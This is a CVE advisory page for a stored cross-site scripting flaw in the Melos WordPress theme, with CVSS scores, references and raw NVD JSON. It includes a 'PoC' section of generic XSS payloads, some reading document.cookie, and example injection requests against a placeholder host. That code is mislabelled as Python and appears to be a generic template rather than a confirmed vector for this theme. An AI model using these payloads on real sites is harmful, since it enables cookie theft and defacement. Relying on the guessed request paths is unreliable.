CVE-2025-62136

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in thinkupthemes Melos melos allows Stored XSS.This issue affects Melos: from n/a through <= 1.6.0.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Melos主题 <= 1.6.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-62136 Stored XSS PoC - Melos WordPress Theme
// Target: Melos Theme <= 1.6.0
// Attack Vector: Inject malicious JavaScript via user input fields

// Common XSS payloads for stored XSS testing
const payloads = [
    '<script>alert("XSS")</script>',
    '<img src=x onerror=alert(document.domain)>',
    '<svg onload=alert(document.cookie)>',
    '<iframe src="javascript:alert(\'XSS\')">',
    '<body onload=alert(1)>',
    '<input autofocus onfocus=alert(1)>'
];

// Example: XSS via WordPress comment field
// POST /wp-comments-post.php HTTP/1.1
// Host: target.com
// Content-Type: application/x-www-form-urlencoded
//
// comment=<img src=x onerror=alert(document.cookie)>&submit=Submit

// Example: XSS via theme customizer or theme options
// POST /wp-admin/admin-ajax.php HTTP/1.1
// Host: target.com
// action=customize_save&theme_mods_melos=<script>alert(1)</script>

// Verification: Visit affected page and check if payload executes
// Check browser console for alerts or inspect page source for unescaped HTML

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62136
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62136
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62136/
[4] VulDB https://vuldb.com/cve/CVE-2025-62136
[5] https://patchstack.com/database/Wordpress/Theme/melos/vulnerability/wordpress-melos-theme-1-6-0-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-62136", "sourceIdentifier": "[email protected]", "published": "2025-12-31T09:15:51.010", "lastModified": "2026-04-23T15:34:36.503", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in thinkupthemes Melos melos allows Stored XSS.This issue affects Melos: from n/a through <= 1.6.0."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en ThinkUpThemes Melos permite XSS Almacenado. Este problema afecta a Melos: desde n/a hasta 1.6.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/melos/vulnerability/wordpress-melos-theme-1-6-0-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}